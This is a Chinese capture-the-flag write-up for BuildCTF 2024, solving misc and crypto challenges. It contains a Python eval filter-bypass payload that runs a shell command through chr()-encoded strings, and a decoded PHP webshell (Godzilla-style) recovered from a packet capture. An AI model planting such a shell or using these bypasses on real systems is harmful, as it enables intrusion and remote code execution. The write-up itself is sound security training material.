2024BuildCTF web-misc-re-crypto[wp]

MISC

什么?来玩玩心算吧

解题人:shag0u

试试输入字母


过滤了字母
尝试报错

得到信息,这是一个 python 脚本,并且有 eval 函数
直接使用全角英文和 chr() 字符拼接(或八进制)即可绕过

payload: __import__(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))

HEX的秘密

解题人:随风而去吧
根据这次比赛的正常 flag 找规律

加密算法似乎是第二位不变第一位加 8
写脚本试试

点击查看代码
def decrypt_hex_string(hex_str):
    # 将字符串按每两个字符分割成16进制数的组
    decrypted_chars = []
    for i in range(0, len(hex_str), 2):
        # 取出两位16进制数
        hex_pair = hex_str[i:i + 2]

        # 将其分为高位和低位(第一个数字和第二个数字)
        first_digit = int(hex_pair[0], 16)  # 将第一个字符转为16进制的数值
        second_digit = hex_pair[1]  # 第二个字符保持不变

        # 处理第一个数字:减去8
        original_first_digit = first_digit - 8

        # 组合还原后的16进制字符
        original_hex_pair = f'{original_first_digit:X}{second_digit}'

        # 转回字符
        decrypted_char = chr(int(original_hex_pair, 16))
        decrypted_chars.append(decrypted_char)

    # 将所有字符连接成最终的字符串
    return ''.join(decrypted_chars)


# 示例用法
hex_str = "c2f5e9ece4c3d4c6fbb3c5fafadfc1b5e3a1a1dfe2e9eee1f2f9f9f9fd"  # 替换为你的加密后的十六进制字符串
decrypted_string = decrypt_hex_string(hex_str)
print("解密后的字符串:", decrypted_string)
![](https://img2024.cnblogs.com/blog/3551469/202411/3551469-20241105224542002-596944969.png) 拿下!!! ## E2_?_21p 解题人:随风而去吧 提示是crc校验失败,并且需要解压密码 但是一般的crc校验失败不是伪加密就是明文加密什么的,猜测不需要解压密码,伪加密能解密 16进制文件打开压缩包 ![](https://img2024.cnblogs.com/blog/3551469/202411/3551469-20241105224939076-772359754.png)

修改第九位字节为08(正常压缩包的前十位是相同的)和0xf0那一行的第六位为00(识别是否是需要解压密码的压缩包)
然后最一开始本来我一直用bandzip打开,一直提示crc校验失败,本来都准备放弃了
最后比赛剩不到半小时结束,一直尝试,结果最后发现7zip可以直接打开(修改之后的),发现是Brainfuck解密
得出flag

白白的真好看

解题人:随风而去吧
打开之后有几个文件,先处理
用工具txt处理对应文件后显示出隐写的内容

然后是snow,txt文件,猜测是snow隐写,但是不知道密码
然后是一张二维码,但是不是正常的,而是汉信码
在线网站扫描后得出一段链接,直接打开后直接跳转微信,得不到公众号信息

将链接转成正常二维码后再扫描得到是异步社区公众号,回复雪,得到snow snow

想到snow隐写,猜测是密码,果不 其然 得到flag

然后是white,转换zip,在文件word中的documents中找到flag

最后拼起来就行,得到完整flag

四妹?还是萍萍?

解题人:随风而去吧
打开有一堆二维码,拼起来之后扫码是林峰云,一开始回复啥都不告诉我,然后猜测在图片里


010打开之后,搜索zip的特征码,发现缺了一部分,补齐504B之后用formest提取出一个zip文件
文件名称提示回复password有惊喜,然后发过来了解压密码
然后解压完之后是一张png图片但是有问题,用工具修复之后就有flag了

如果再来一次,还会选择我吗?

解题人:随风而去吧
打开之后010查看损坏的png图片,打开之后发现和正常的png字节数都是反着的
然后写个脚本让它都反过来得到正常图片
with open('D:\下载\BuildCTF\2\password.png','rb+') as file: list_byte = list(file.read()) print(list_byte) for i in range(0,len(list_byte)-1,2): tmp = list_byte[i] list_byte[i] = list_byte[i+1] list_byte[i+1] = tmp file.seek(0) file.write(bytes(list_byte))

解压之后是一张损坏的条形码,用ps修复之后,用工具扫描得出flag.zip的解压密码


解压之后是一大段base64编码

然后解密得到flag,但是这个次数是真多,手都酸了(虽然是懒不想写脚本~)
BuildCTF{y0u_are_great_boy}

LSB

解题人:Alex

  1. 把图片放到stegsolve里面
  2. analyze-dataextract,将红蓝绿都设置为1,拿到一串base64,解密后拿到flag
  3. BuildCTF

我太喜欢亢金星君了!

解题人:Alex

  1. gif文件,先使用虚拟上的convert命令分离gif
  2. 看着像摩斯密码,黑色图片将每种图片分开,白色作为摩斯密码的分隔符
  3. -... ..- .. .-.. -.. -.-. - ..-. ----.-- .-- ....- .---- -.-. --- -- ....- ..--.- -. ....- .-- ..--.- ..-. .---- ... .... -----.--解码拿到flag
  4. BuildCTF

四妹,你听我解释

解题人:Alex

  1. 图片拖到winhex里面发现一串社会主义编码
  2. 修改图片高度发现第二段
  3. 自由文明法治平等公正敬业公正友善公正公正自由自由和谐
    平等自由自由公正法治友善平等公正诚信文明公正民主公正诚信平等平等诚信平等法治和谐公正平等平等友善敬业法治富强和谐民主法治诚信和谐
  4. 解码BuildCTF

食不食油饼

解题人:Alex

  1. 将bmp改为png,修复bmp后没有得到什么有用信息
  2. 将png提取盲水印,拿到flag的密码
  3. base32解码,获取flag
  4. BuildCTF

一念愚即般若绝,一念智即般若生

解题人:Alex

  1. zip文件发现一串编码,查得是阴阳怪气编码
  2. 解码拿到zip的密码s2j6dg@*
  3. 拿到第二段与佛论禅密文,解码得到的还是一段密文
  4. 曰:坤茫元量华劫始南灵+梵冥炁渺荡净+浩虚玉道坤玉终罗炁度清魄魔神龙融魂玉命魄鬼照色玉冥周色西鬼终命东融量照霄炁北南西生陀+空茫陀周度清道茫炁冥度东真阎阎阿度命净威茫度元茫微威陀空人罗北魂威荡幽吉灵尊
  5. 属于天书密文,天书再解码7dcUypxFHgNSJ7rVkdM5k7X18GSU9JinEziQ5vsS1rMpvTpx
  6. 最后base58解密,BuildCTF

EZ_zip

解题人:Alex

  1. 解压两次后发现layar_499.zip,应该是一个嵌套zip
  2. 写脚本去实现自动解压,解压到最后一个文件时报错,提示需要密码,那就把最后一个文件单独拿出来,解压到需要密码的操作停止脚本
  3. 拿到flag.zip,但是解压需要密码
  4. 拖入winhex,猜测是伪加密,直接修改加密位,拿到flag
  5. BuildCTF
  6. 附上脚本
import zipfile
import os
import logging

# 设置日志记录格式
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

def unzip(path, zfile):
    """递归解压zip文件,遇到加密文件或flaggggg.txt时中止"""
    file_path = os.path.join(path, zfile)
    
    try:
        with zipfile.ZipFile(file_path, 'r') as srcfile:
            for filename in srcfile.namelist():
                # 检查是否为目标文件'flaggggg.txt'
                if 'flaggggg.txt' in filename:
                    logging.info(f"Found target file: {filename}, stopping extraction.")
                    return

                # 检查是否为加密文件
                if srcfile.getinfo(filename).flag_bits & 0x1:
                    logging.info(f"File {filename} is encrypted, stopping extraction.")
                    return

                # 提取文件到同一目录
                srcfile.extract(filename, path)

                # 检查是否为嵌套的zip文件
                extracted_file_path = os.path.join(path, filename)
                if zipfile.is_zipfile(extracted_file_path):
                    logging.info(f"Found nested zip file: {extracted_file_path}, extracting...")
                    unzip(path, extracted_file_path)

    except zipfile.BadZipFile:
        logging.error(f"Error: {zfile} is not a valid zip file.")
    except Exception as e:
        logging.error(f"An error occurred while processing {zfile}: {e}")

# 定义解压路径和初始zip文件
path = r'C://Users//m1972//Desktop//zip'  # 所有文件都解压到这个目录
zfile = r'layer_498.zip'

# 调用解压函数
unzip(path, zfile)

Black&White

解题人:随风而去吧
打开发现有1089张图片刚好是33*33,应该是二维码,用脚本拼在一起之后黑白二色翻转,得到二维码

扫码得到一串字符串3I8XEDHUCJTARQFOEDX7D+08AC80T8N08Y6948DF2C43C9B6Z2
最后尝试了一堆,是base45解码得到flag

Guesscoin

解题人:CurlySean
猜硬币,直接一直输 0 运气好就出了

what is this?

解题人:CurlySean

看见一堆01直接二进制转字符串
只有c和p,看见像二进制或摩斯呀
用脚本c换0,p换1

data = 'ccc,ppppp,ccppcp,p,cccc,cpppp,ccc,ccppcp,cpppp,ccccc,ccppcp,pp,ppppp,cpc,ccccc,c,ccppcp,pcpc,ppppp,pcc,c,ccppcp,pcpcpp,pcpcpp'

data = data.replace('c','.').replace('p','-')

print(data)

#...,-----,..--.-,-,....,.----,...,..--.-,.----,.....,..--.-,--,-----,.-.,.....,.,..--.-,-.-.,-----,-..,.,..--.-,-.-.--,-.-.--

用摩斯密码后成功解密
S0_TH1S_15_M0R5E_C0DE_!!

别真给我开盒了哥

解题人:随风而去吧

  1. 目的地方向:标志牌上显示两个主要目的地——“北京”和“德州”。北京是中国的首都,而德州位于山东省。箭头指向右方,表示下一个出口可以到达这两个城市的方向。
    距离信息:标志上标明了“1 km”,表示距离出口还有1公里的距离。
  2. 查询通往北京的高速公路,在附近的铁路尝试津兴城际铁路
  3. 百度百科查找相关信息
    津兴城际铁路(Tianjin-Daxing Airport Intercity Railway) [15] [19],建设工程名为“天津至北京大兴国际机场铁路” [19],是中国河北省廊坊市境内一条连接胜芳站与固安东站的城际铁路,与津保铁路天津西至胜芳段、京雄城际铁路固安东至大兴机场段共同构成天津西至大兴机场的通道
  4. 观察铁路图片,答案可能是与他相连的另一条铁路-津保铁路

有黑客

解题人:CurlySean
下载下来一个数据包,用wireshark打开看看
先过滤一下http请求

刚开始好像爆破了一下目录
后面过滤出来的POST请求,好像是个文件上传

追踪一下tcp流,发现已经成功上传木马啦

hacker=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7ciMmVDMjVDZ4AjMxYzNiNzNn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7ciclt2YhhGaoh2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B
找到了数据包里提交参数 hacker 的地方
发现他将里面的东西url解码一下,然后翻转,最后base64解码一下

import urllib
from urllib import parse
import base64

x = 'K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7ciMmVDMjVDZ4AjMxYzNiNzNn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7ciclt2YhhGaoh2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD'
x = urllib.parse.unquote(x)
y=''
for i in range(len(x)-1,-1,-1):
    y += x[i]
print(y+"\n")
y = base64.b64decode(y)
print(y)

        #DQpAc2Vzc2lvbl9zdGFydCgpOw0KQHNldF90aW1lX2xpbWl0KDApOw0KQGVycm9yX3JlcG9ydGluZygwKTsNCmZ1bmN0aW9uIGVuY29kZSgkRCwkSyl7DQogICAgZm9yKCRpPTA7JGk8c3RybGVuKCREKTskaSsrKSB7DQogICAgICAgICRjID0gJEtbJGkrMSYxNV07DQogICAgICAgICREWyRpXSA9ICREWyRpXV4kYzsNCiAgICB9DQogICAgcmV0dXJuICREOw0KfQ0KJHBhc3M9J2hoaGhhY2tlcic7DQokcGF5bG9hZE5hbWU9J3BheWxvYWQnOw0KJGtleT0nNzNiNzYxMjA4ZDVjMDVmMic7DQppZiAoaXNzZXQoJF9QT1NUWyRwYXNzXSkpew0KICAgICRkYXRhPWVuY29kZShiYXNlNjRfZGVjb2RlKCRfUE9TVFskcGFzc10pLCRrZXkpOw0KICAgIGlmIChpc3NldCgkX1NFU1NJT05bJHBheWxvYWROYW1lXSkpew0KICAgICAgICAkcGF5bG9hZD1lbmNvZGUoJF9TRVNTSU9OWyRwYXlsb2FkTmFtZV0sJGtleSk7DQogICAgICAgIGlmIChzdHJwb3MoJHBheWxvYWQsImdldEJhc2ljc0luZm8iKT09PWZhbHNlKXsNCiAgICAgICAgICAgICRwYXlsb2FkPWVuY29kZSgkcGF5bG9hZCwka2V5KTsNCiAgICAgICAgfQ0KCQlldmFsKCRwYXlsb2FkKTsNCiAgICAgICAgZWNobyBzdWJzdHIobWQ1KCRwYXNzLiRrZXkpLDAsMTYpOw0KICAgICAgICBlY2hvIGJhc2U2NF9lbmNvZGUoZW5jb2RlKEBydW4oJGRhdGEpLCRrZXkpKTsNCiAgICAgICAgZWNobyBzdWJzdHIobWQ1KCRwYXNzLiRrZXkpLDE2KTsNCiAgICB9ZWxzZXsNCiAgICAgICAgaWYgKHN0cnBvcygkZGF0YSwiZ2V0QmFzaWNzSW5mbyIpIT09ZmFsc2Upew0KICAgICAgICAgICAgJF9TRVNTSU9OWyRwYXlsb2FkTmFtZV09ZW5jb2RlKCRkYXRhLCRrZXkpOw0KICAgICAgICB9DQogICAgfQ0KfQ0K

b'\r\n@session_start();\r\n@set_time_limit(0);\r\n@error_reporting(0);\r\nfunction encode($D,$K){\r\n    for($i=0;$i<strlen($D);$i++) {\r\n        $c = $K[$i+1&15];\r\n        $D[$i] = $D[$i]^$c;\r\n    }\r\n    return $D;\r\n}\r\n$pass=\'hhhhacker\';\r\n$payloadName=\'payload\';\r\n$key=\'73b761208d5c05f2\';\r\nif (isset($_POST[$pass])){\r\n    $data=encode(base64_decode($_POST[$pass]),$key);\r\n    if (isset($_SESSION[$payloadName])){\r\n        $payload=encode($_SESSION[$payloadName],$key);\r\n        if (strpos($payload,"getBasicsInfo")===false){\r\n            $payload=encode($payload,$key);\r\n        }\r\n\t\teval($payload);\r\n        echo substr(md5($pass.$key),0,16);\r\n        echo base64_encode(encode(@run($data),$key));\r\n        echo substr(md5($pass.$key),16);\r\n    }else{\r\n        if (strpos($data,"getBasicsInfo")!==false){\r\n            $_SESSION[$payloadName]=encode($data,$key);\r\n        }\r\n    }\r\n}\r\n'

解出来一个好像是木马的东西(看起来像是哥斯拉的东西哈)
密钥也有了,密码也有了
后面还跟着一个参数hhhhacker,这个应该是真正的密码了
用蓝队工具解密一下后面的hhhhacker

又解出来一个大文件,看看其他的

解出来一些东西,应该是在命令执行
解一些返回包看看把
经过好几次的解密,看见了有些ls的返回包,最后看见了一个返回包中有flag,结束

Crypto

我这辈子就是被古典给害了

解题人:shag0u
审计代码,发现是一个 AES 和维吉尼亚密码的混合,加密思路如下:

from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
from Crypto.Cipher import AES
from secret import flag, key

dict1 = {'A': 0, 'B': 1, 'C': 2, 'D': 3, 'E': 4,
         'F': 5, 'G': 6, 'H': 7, 'I': 8, 'J': 9,
         'K': 10, 'L': 11, 'M': 12, 'N': 13, 'O': 14,
         'P': 15, 'Q': 16, 'R': 17, 'S': 18, 'T': 19,
         'U': 20, 'V': 21, 'W': 22, 'X': 23, 'Y': 24, 'Z': 25}

dict2 = {0: 'A', 1: 'B', 2: 'C', 3: 'D', 4: 'E',
         5: 'F', 6: 'G', 7: 'H', 8: 'I', 9: 'J',
         10: 'K', 11: 'L', 12: 'M', 13: 'N', 14: 'O',
         15: 'P', 16: 'Q', 17: 'R', 18: 'S', 19: 'T',
         20: 'U', 21: 'V', 22: 'W', 23: 'X', 24: 'Y', 25: 'Z'}
# 在key后面补上Buildctfx
def generate_key(flag, key):
    i = 0
    while True:
        if len(key) == len(flag):
            break
        key += flag[i]
        i += 1
    return key

# 1. 将处理过的flag和处理过的key进行替换得到数字,并且对数字进行取模26
# 2. 将取模26后得到的数字利用dict2重新映射出一个字符串
def cipherText(msg, key_new):
    cipher_text = ''
    i = 0
    for letter in msg:
        x = (dict1[letter] + dict1[key_new[i]]) % 26
        i += 1
        cipher_text += dict2[x]
    return cipher_text

# 处理key和处理过的flag
# 1. 将key添加到key的末尾组成新key,并且将其转化成字节串
# 2. 设定ECB加密模式,将处理后的key作为密钥
# 3. 将处理后的flag转化成字节串
# 4. 将转化后的flag字节串填充若干个0x02字符使其为16的倍数
# 5. 将处理后的flag利用ECB模式加密
# 6. 输出加密后的flag
def AES_enc(key, value):
    key = (key * 2).encode()
    cipher = AES.new(key, AES.MODE_ECB)
    value = value.encode()
    padded_text = pad(value, AES.block_size)

    ciphertext = cipher.encrypt(padded_text)
    print("AES Encrypted Text =", ciphertext)

def substitute(msg):
    msg = msg.replace('{', 'X')
    msg = msg.replace('_', 'X')
    msg = msg.replace('}', 'X')
    msg = msg.upper()
    assert msg.isupper()
    return msg
# 处理flag  { -> X _-> x } -> x 小写全变大写
message = substitute(flag)

# 扩展给出的key,从flag中从第一位开始获取字母追加到key上使key最终长度等于flag
key_new = generate_key(message, key)

# 处理处理过的flag和key
# 1. 将处理过的flag和处理过的key进行替换得到数字,并且对数字进行取模26
# 2. 将取模26后得到的数字利用dict2重新映射出一个字符串
cipher = cipherText(message, key_new)
#输出得到的加密字符串
print("Encrypted Text =", cipher)

# 处理key和处理过的flag
# 1. 将key添加到key的末尾组成新key,并且将其转化成字节串
# 2. 设定ECB加密模式,将处理后的key作为密钥
# 3. 将处理后的flag转化成字节串
# 4. 将转化后的flag字节串填充若干个0x02字符使其为16的倍数
# 5. 将处理后的flag利用ECB模式加密
# 6. 输出加密后的flag
AES_enc(key, flag)

'''
Encrypted Text = HLMPWKGLYSWFACEWBYRSUKYFAXZFXDKOTZHHSLFCXNICAHPGRIFUF
AES Encrypted Text = b'\x92T{\x1f\x0f"\xbd\xbb\xfa|O\x11\x83\xa0\xec.\x15]\x9f\x9a\xe5\x85Z\x9f@yUm\xbb\xdc\x93\x08\xe5\x8b\xd5\x98\x84\xfa\x91\xe8\xde\x1b}\xcd\x9056\xa3\xbf\xdb\x85J\xcc\xec\x812T\x11\xa7Tl\x15\xf6"'
'''

这次比赛的 flag 的格式为:BuildCTF{___},所以大胆猜测此题的 flag 也是如此,解密维吉尼亚的前 8 位:

是一个可读单词,大胆猜测这个就是 key,由于完整的 key 是在 key 后面加入了 flag,所以可以递归解密,直接写个脚本来:

# 定义字典用于字母与数字的映射
dict1 = {
    'A': 0, 'B': 1, 'C': 2, 'D': 3, 'E': 4,
    'F': 5, 'G': 6, 'H': 7, 'I': 8, 'J': 9,
    'K': 10, 'L': 11, 'M': 12, 'N': 13, 'O': 14,
    'P': 15, 'Q': 16, 'R': 17, 'S': 18, 'T': 19,
    'U': 20, 'V': 21, 'W': 22, 'X': 23, 'Y': 24, 'Z': 25
}

dict2 = {v: k for k, v in dict1.items()}

def decipher(cipher_text, initial_key):
    decrypted = ''
    key = initial_key.upper()

    for i, c in enumerate(cipher_text.upper()):
        if c not in dict1:
            print(f"非法字符 '{c}' 在密文中,跳过。")
            decrypted += c
            key += c
            continue

        key_char = key[i]
        cipher_val = dict1[c]
        key_val = dict1[key_char]
        plain_val = (cipher_val - key_val) % 26
        plain_char = dict2[plain_val]
        decrypted += plain_char
        key += plain_char

    # 还原特殊字符 '{', '}' 和 '_'
    decrypted_chars = list(decrypted)

    # 查找所有 'X' 的索引
    x_indices = [idx for idx, char in enumerate(decrypted_chars) if char == 'X']

    if not x_indices:
        print("解密后的消息中没有找到 'X' 字符。")
        return decrypted

    # 替换第一个 'X' 为 '{'
    first_x = x_indices[0]
    decrypted_chars[first_x] = '{'

    # 替换最后一个 'X' 为 '}'
    last_x = x_indices[-1]
    decrypted_chars[last_x] = '}'

    # 替换中间的 'X' 为 '_'
    for idx in x_indices[1:-1]:
        decrypted_chars[idx] = '_'

    flag = ''.join(decrypted_chars)

    return flag

# 已知信息
cipher_text = 'HLMPWKGLYSWFACEWBYRSUKYFAXZFXDKOTZHHSLFCXNICAHPGRIFUF'
initial_key = 'greeting'

# 执行解密
flag = decipher(cipher_text, initial_key)

print("解密后的 flag:", flag)

解密的结果为:

666,又是可读明文,直接按照比赛的 flag 格式拼接 flag 提交尝试一下:
BuildCTF{YOU_ALREADY_KNOW_WHAT_A_CLASSICAL_CIPHER_IS}
666,还真是这个,那 AES 好小丑啊

mitm

解题人:随风而去吧
审计代码分析思路:

from Crypto.Util.number import *
from Crypto.Util.Padding import *
from hashlib import sha256
from Crypto.Cipher import AES
from random import *
from secret import flag

# 设定密码集
note = b'Crypt_AES*42$@'
# 设定4段key
r = 4
# 存储key
keys = []

# 1. 从密码集中选取三个字符,转化为bytes格式,作为一个key
# 2. 对每个3字节key进行SHA-256哈希,并且存储在keys中作为密码
for i in range(r):
    key = bytes(choices(note, k=3))
    print(key)
    print(sha256(key).digest())
    keys.append(sha256(key).digest())
print(keys)

# 设定一个明文
leak = b'Hello_BuildCTF!!'
cipher = leak

# 使用刚刚处理过的4个key对明文AES_ECB加密4次
for i in range(r):
    cipher = AES.new(keys[i], AES.MODE_ECB).encrypt(cipher)

# 将四个3字节的key连起来进行一次SHA-256哈希,得到一个新key
enc_key = sha256(b"".join(keys)).digest()
# 使用新key对flag进行AES_ECB加密
enc_flag = AES.new(enc_key, AES.MODE_ECB).encrypt(pad(flag, AES.block_size))

print(f'cipher = {cipher}')
print(f'enc_flag = {enc_flag}')
# cipher = b'\xb9q\x04\xa3<\xf0\x11-\xe9\xfbo:\x9aQn\x81'
# enc_flag = b'q\xcf\x08$%\xb0\x86\xee\x1a(b\x7f\xf8\x86\xbd\xd0\xa7\xee\xd9\x9d2\x82a7H=a\x13\x87e\xad\xd2b\x8e\x07\xa5\xddo\xc0\xf3N\xd4b\xc9o\x88$\xc7\xf4p\xc1\x1e,\xed\xcc\x94\x8c\xf4\x00\xa5\xe0-\xf7\xc5'

密码集不是很长,并且给了一段明文和加密后的密文,直接对 key 进行爆破,并且使用中间人攻击, ai 写的脚本:

import itertools
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from hashlib import sha256
import binascii
import sys

# 已知信息
note = b'Crypt_AES*42$@'
leak = b'Hello_BuildCTF!!'
cipher = b'\xb9q\x04\xa3<\xf0\x11-\xe9\xfbo:\x9aQn\x81'  # 从赛题中获取
enc_flag = b'q\xcf\x08$%\xb0\x86\xee\x1a(b\x7f\xf8\x86\xbd\xd0\xa7\xee\xd9\x9d2\x82a7H=a\x13\x87e\xad\xd2b\x8e\x07\xa5\xddo\xc0\xf3N\xd4b\xc9o\x88$\xc7\xf4p\xc1\x1e,\xed\xcc\x94\x8c\xf4\x00\xa5\xe0-\xf7\xc5'  # 从赛题中获取

BLOCK_SIZE = 16

def generate_all_possible_keys(note):
    """
    生成所有可能的3字节密钥
    """
    return [bytes(p) for p in itertools.product(note, repeat=3)]

def precompute_forward(leak, possible_keys):
    """
    前向加密:对leak进行两层AES-ECB加密
    返回中间密文到 (key1, key2) 的映射
    """
    forward_map = {}
    total = len(possible_keys) ** 2
    count = 0
    print("开始前向加密预计算...")
    for key1 in possible_keys:
        sha_key1 = sha256(key1).digest()
        cipher1 = AES.new(sha_key1, AES.MODE_ECB).encrypt(leak)
        for key2 in possible_keys:
            sha_key2 = sha256(key2).digest()
            cipher2 = AES.new(sha_key2, AES.MODE_ECB).encrypt(cipher1)
            forward_map[cipher2] = (key1, key2)
            count += 1
            if count % 1000000 == 0:
                print(f"前向加密进度: {count}/{total}")
    print("前向加密预计算完成。")
    return forward_map

def precompute_backward(cipher, possible_keys):
    """
    后向解密:对cipher进行两层AES-ECB解密
    返回中间密文到 (key3, key4) 的映射
    """
    backward_map = {}
    total = len(possible_keys) ** 2
    count = 0
    print("开始后向解密预计算...")
    for key4 in possible_keys:
        sha_key4 = sha256(key4).digest()
        decrypted1 = AES.new(sha_key4, AES.MODE_ECB).decrypt(cipher)
        for key3 in possible_keys:
            sha_key3 = sha256(key3).digest()
            decrypted2 = AES.new(sha_key3, AES.MODE_ECB).decrypt(decrypted1)
            backward_map[decrypted2] = (key3, key4)
            count += 1
            if count % 1000000 == 0:
                print(f"后向解密进度: {count}/{total}")
    print("后向解密预计算完成。")
    return backward_map

def find_matching_keys(forward_map, backward_map):
    """
    查找前向加密和后向解密的中间密文是否匹配
    """
    print("开始查找匹配的中间密文...")
    for intermediate in forward_map:
        if intermediate in backward_map:
            key1, key2 = forward_map[intermediate]
            key3, key4 = backward_map[intermediate]
            print("找到匹配的密钥组合!")
            return key1, key2, key3, key4
    return None

def main():
    possible_keys = generate_all_possible_keys(note)
    print(f"总共生成了 {len(possible_keys)} 个可能的3字节密钥。")

    # 前向加密预计算
    forward_map = precompute_forward(leak, possible_keys)

    # 后向解密预计算
    backward_map = precompute_backward(cipher, possible_keys)

    # 查找匹配的密钥组合
    keys = find_matching_keys(forward_map, backward_map)

    if keys:
        key1, key2, key3, key4 = keys
        print(f"Key 1: {key1}")
        print(f"Key 2: {key2}")
        print(f"Key 3: {key3}")
        print(f"Key 4: {key4}")

        # 生成 enc_key
        concatenated_hashes = sha256(key1).digest() + sha256(key2).digest() + sha256(key3).digest() + sha256(key4).digest()
        enc_key = sha256(concatenated_hashes).digest()
        print(f"生成的 enc_key: {binascii.hexlify(enc_key)}")

        # 解密 enc_flag
        cipher_enc_flag = AES.new(enc_key, AES.MODE_ECB)
        decrypted_flag_padded = cipher_enc_flag.decrypt(enc_flag)
        try:
            decrypted_flag = unpad(decrypted_flag_padded, BLOCK_SIZE)
            print(f"解密后的 Flag: {decrypted_flag.decode()}")
        except ValueError:
            print("填充错误,无法解密 Flag。")
    else:
        print("未找到匹配的密钥组合。")

if __name__ == "__main__":
    main()

脚本运行结果:

ai 截图:

Ju5t_d3c0de_1t!

解题人:CurlySean

先看e应该是一个base64解密

解码出来的东西,是一个rabit解密

成功解出来e=65537

e = 65537
c = 1906584693582914593452011253925635223573

p = 26822418715463991126474380526303016593205006542806731721157536330312275372018305158474258610131152489
q = 53119776651079682777961960430388001309363199658704012861472783500082899623940177739319812176312097081

#python3
import gmpy2 as gp
import binascii
p =  gp.mpz(p)
q =  gp.mpz(q)
e =  gp.mpz(e)
c =  gp.mpz(c)
n = p*q
phi = (p-1) * (q-1)
d = gp.invert(e, phi)
m = pow(c, d, n)

key = 592924741013363689040199750462798275514934297277010275281372369969899775117892551575873706970423924419480394766364097497072075403342004187895966953143489192628648965081601335846012859223829286606349019
print(m -key)


最后说解密出来的东西减了key

解密成功

OVO开门爽!开到南天门了兄弟

解题人:shag0u
RSA 加密,给出了 p 和 q 直接写脚本求解

import math
from Crypto.Util.number import long_to_bytes

# 已知数据
P = 8279853330757234669136483032750824826175777927506575083710166412897012079466955769715275604152872242147320194640165649152928984919315754419447729793483984130396358578571137956571302516202649076619076831997922675572705848199504309232044502957866317011212505985284129365522570368395368427388904223782742850616983130885152785650513046301920305069822348366931825404271695876688539675285303882189060671184911139742554710018755565518014777733322795522710234091353878298486498244829638878949389690384488573338138825642381687749888102341379254137445546306796258092762099409409285871651688611387507673794784257901946892698481
